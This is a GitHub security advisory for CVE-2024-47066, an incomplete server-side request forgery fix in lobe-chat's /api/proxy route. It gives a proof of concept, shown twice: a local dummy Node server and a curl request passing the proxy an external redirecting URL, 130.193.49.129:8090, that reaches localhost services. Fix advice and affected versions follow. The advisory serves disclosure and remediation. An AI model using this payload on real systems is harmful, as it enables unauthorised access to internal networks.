GHSA-3FC8-2R3F-8WRG

Vulnerability from github – Published: 2024-09-23 20:30 – Updated: 2024-09-30 19:57
VLAI
Summary
lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)
Details

Summary

SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.

PoC

  1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;

  2. Create file dummy-server.js with the following content:

var http = require('http');
console.log("running server");
http.createServer(function (req, res) {
  console.log(req.url);
  res.writeHead(200, {'Content-Type': 'text/html'});
  res.end();
}).listen(3001, 'localhost');

And run

node dummy-server.js

as an example server inside of container [1] (or in containers private network).

  1. Run in terminal to perform request to lobe-chat instance from [1]
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \
    -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \
    --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \
    $'http://0.0.0.0:3210/api/proxy'

where body contains url of server which redirects to internal network (in my case it redirects according url parameter).

  1. Observe in output of [2]
running server
/iamssrf_1337
  1. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.

Fix recommendations:

  1. Disable redirects - lobe-chat should consider explicitly disable redirects.
  2. If redirects support is required, perform check before each http request.

Impact

https://portswigger.net/web-security/ssrf

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.19.12"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47066"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-23T20:30:11Z",
    "nvd_published_at": "2024-09-23T16:15:06Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nSSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.\n\n### PoC\n1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;\n\n2. Create file dummy-server.js with the following content:\n```\nvar http = require(\u0027http\u0027);\nconsole.log(\"running server\");\nhttp.createServer(function (req, res) {\n  console.log(req.url);\n  res.writeHead(200, {\u0027Content-Type\u0027: \u0027text/html\u0027});\n  res.end();\n}).listen(3001, \u0027localhost\u0027);\n\n```\nAnd run \n```\nnode dummy-server.js\n```\nas an example server inside of container [1] (or in containers private network).\n\n3. Run in terminal to perform request to lobe-chat instance from [1]\n\n```\ncurl --path-as-is -i -s -k -X $\u0027POST\u0027 \\\n    -H $\u0027Host: 0.0.0.0:3210\u0027 -H $\u0027Accept-Encoding: gzip, deflate, br\u0027 -H $\u0027Referer: http://0.0.0.0:3210/settings/agent?agent=\u0026session=inbox\u0026tab=\u0027 -H $\u0027Content-Type: text/plain;charset=UTF-8\u0027 -H $\u0027Content-Length: 74\u0027 -H $\u0027Origin: http://0.0.0.0:3210\u0027 -H $\u0027Connection: keep-alive\u0027 -H $\u0027Priority: u=0\u0027 \\\n    -b $\u0027LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined\u0027 \\\n    --data-binary $\u0027http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337\u0027 \\\n    $\u0027http://0.0.0.0:3210/api/proxy\u0027\n```\n\nwhere body contains url of server which redirects to internal network (in my case it redirects according url parameter).\n\n4. Observe in output of [2]\n```\nrunning server\n/iamssrf_1337\n```\n\n5. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.\n\n### Fix recommendations:\n1. Disable redirects - lobe-chat should consider explicitly disable redirects. \n2. If redirects support is required, perform check before each http request.\n\n### Impact\nhttps://portswigger.net/web-security/ssrf",
  "id": "GHSA-3fc8-2r3f-8wrg",
  "modified": "2024-09-30T19:57:27Z",
  "published": "2024-09-23T20:30:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47066"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)"
}



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